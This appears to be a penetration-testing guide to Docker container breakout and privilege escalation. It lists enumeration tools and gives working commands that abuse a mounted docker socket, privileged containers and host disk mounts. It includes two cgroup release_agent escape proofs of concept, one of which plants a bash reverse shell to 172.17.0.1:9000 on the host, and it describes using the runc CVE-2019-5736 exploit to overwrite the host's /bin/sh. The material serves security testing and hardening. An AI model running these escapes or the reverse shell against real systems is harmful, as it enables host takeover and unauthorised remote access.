8.7 KiB
Docker Breakout / Privilege Escalation
Automatic Enumeration & Escape
- ****linpeas: It can also enumerate containers
- ****CDK: This tool is pretty useful to enumerate the container you are into even try to escape automatically
- ****amicontained: Useful tool to get the privileges the container has in order to find ways to escape from it
- ****deepce: Tool to enumerate and escape from containers
- ****grype: Get the CVEs contained in the software installed in the image
Mounted docker socket
If somehow you find that the docker socket is mounted inside the docker container, you will be able to escape from it.
This usually happen in docker containers that for some reason need to connect to docker daemon to perform actions.
#Search the socket
find / -name docker.sock 2>/dev/null
#It's usually in /run/docker.sock
In this case you can use regular docker commands to communicate with the docker daemon:
#List images to use one
docker images
#Run the image mounting the host disk and chroot on it
docker run -it -v /:/host/ ubuntu:18.04 chroot /host/ bash
{% hint style="info" %}
In case the docker socket is in an unexpected place you can still communicate with it using the docker
command with the parameter -H unix:///path/to/docker.sock
{% endhint %}
Container Capabilities
You should check the capabilities of the container, if it has any of the following ones, you might be able to scape from it: CAP_SYS_ADMIN
, CAP_SYS_PTRACE
, CAP_SYS_MODULE
, DAC_READ_SEARCH
, DAC_OVERRIDE
You can check currently container capabilities using previously mentioned automatic tools or:
capsh --print
In the following page you can learn more about linux capabilities and how to abuse them to escape/escalate privileges:
{% content-ref url="../../linux-capabilities.md" %} linux-capabilities.md {% endcontent-ref %}
Privileged Containers
A privileged container can be created with the flag --privileged
or disabling specific defenses:
--cap-add=ALL
--security-opt apparmor=unconfined
--security-opt seccomp=unconfined
--security-opt label:disable
--pid=host
--userns=host
--uts=host
--cgroupns=host
The --privileged
flag introduces significant security concerns, and the exploit relies on launching a docker container with it enabled. When using this flag, containers have full access to all devices and lack restrictions from seccomp, AppArmor, and Linux capabilities. You can read all the effects of --privileged
in this page:
{% content-ref url="../docker-privileged.md" %} docker-privileged.md {% endcontent-ref %}
In fact, --privileged
provides far more permissions than needed to escape a docker container via this method. In reality, the “only” requirements are:
- We must be running as root inside the container
- The container must be run with the
SYS_ADMIN
Linux capability - The container must lack an AppArmor profile, or otherwise allow the
mount
syscall - The cgroup v1 virtual filesystem must be mounted read-write inside the container
The SYS_ADMIN
capability allows a container to perform the mount syscall (see man 7 capabilities). Docker starts containers with a restricted set of capabilities by default and does not enable the SYS_ADMIN
capability due to the security risks of doing so.
Further, Docker starts containers with the docker-default
AppArmor policy by default, which prevents the use of the mount syscall even when the container is run with SYS_ADMIN
.
A container would be vulnerable to this technique if run with the flags: --security-opt apparmor=unconfined --cap-add=SYS_ADMIN
Mounting Disk
Well configured docker containers won't allow command like fdisk -l. However on miss-configured docker command where the flag --privileged
or --device=/dev/sda1
with caps is specified, it is possible to get the privileges to see the host drive.
So to take over the host machine, it is trivial:
mkdir -p /mnt/hola
mount /dev/sda1 /mnt/hola
And voilà ! You can now access the filesystem of the host because it is mounted in the /mnt/hola
folder.
Abusing release_agent
{% code title="Initial PoC" %}
# spawn a new container to exploit via:
# docker run --rm -it --privileged ubuntu bash
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
t=`sed -n 's/overlay \/ .*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
touch /o;
echo $t/c >$d/release_agent;
echo "#!/bin/sh $1 >$t/o" >/c;
chmod +x /c;
sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o
{% endcode %}
The following is a different version, more readable, of the previous script:
{% code title="Second PoC" %}
# On the host
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash
# In the container
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
#For a normal PoC =================
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#===================================
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/172.17.0.1/9000 0>&1" >> /cmd
chmod a+x /cmd
#===================================
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
head /output
{% endcode %}
--privileged
flag v2
Runc exploit (CVE-2019-5736)
In case you can execute docker exec
as root (probably with sudo), you try to escalate privileges escaping from a container abusing CVE-2019-5736 (exploit here). This technique will basically overwrite the /bin/sh binary of the host from a container, so anyone executing docker exec may trigger the payload.
Change the payload accordingly and build the main.go with go build main.go
. The resulting binary should be placed in the docker container for execution.
Upon execution, as soon as it displays [+] Overwritten /bin/sh successfully
you need to execute the following from the host machine:
docker exec -it <container-name> /bin/sh
This will trigger the payload which is present in the main.go file.
For more information: https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html
{% hint style="info" %} There are other CVEs the container can be vulnerable too {% endhint %}
Writable hostPath Mount
(Info from here) Within the container, an attacker may attempt to gain further access to the underlying host OS via a writable hostPath volume created by the cluster. Below is some common things you can check within the container to see if you leverage this attacker vector:
#### Check if You Can Write to a File-system
$ echo 1 > /proc/sysrq-trigger
#### Check root UUID
$ cat /proc/cmdlineBOOT_IMAGE=/boot/vmlinuz-4.4.0-197-generic root=UUID=b2e62f4f-d338-470e-9ae7-4fc0e014858c ro console=tty1 console=ttyS0 earlyprintk=ttyS0 rootdelay=300- Check Underlying Host Filesystem
$ findfs UUID=<UUID Value>/dev/sda1- Attempt to Mount the Host's Filesystem
$ mkdir /mnt-test
$ mount /dev/sda1 /mnt-testmount: /mnt: permission denied. ---> Failed! but if not, you may have access to the underlying host OS file-system now.
#### debugfs (Interactive File System Debugger)
$ debugfs /dev/sda1